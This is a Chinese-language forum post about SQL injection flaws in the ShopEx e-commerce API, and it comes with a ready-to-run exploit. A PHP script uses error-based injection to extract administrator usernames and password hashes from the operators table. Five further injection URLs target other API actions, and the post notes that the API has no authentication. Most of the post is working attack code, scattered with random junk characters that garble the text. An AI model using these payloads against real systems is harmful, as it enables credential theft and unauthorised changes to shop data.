shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
- _$ L4 q7 h; x4 u4 |3 Hcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
  d1 p9 P$ ~* Q2 A" }
) }8 X5 m! }5 g第44行 $data['columns'] 未做过滤导致注入
: n0 U0 z  V# j+ }
4 F: x" M+ r3 X8 J- ]- h8 t<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
( r% E4 z: g4 h, T
$ j6 [& ?/ `. q3 \注射1：

' g' j6 H0 Y1 w4 _2 K$ yhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
/ u4 D  Y9 ?& Q7 n. C
注射2：
2 v1 B' O* O" Y0 Fhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
* Z! d& F9 f' i
注射3：
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
注射4：

http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
8 V! g0 F! O5 f  [$ H" q6 K
2 m+ o! k% W1 t
0 V5 d$ l# l' |, e0 _注射5：
  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx


, p: c- g+ @5 s
( e' V0 v, I& \' x7 ~5 K$ Z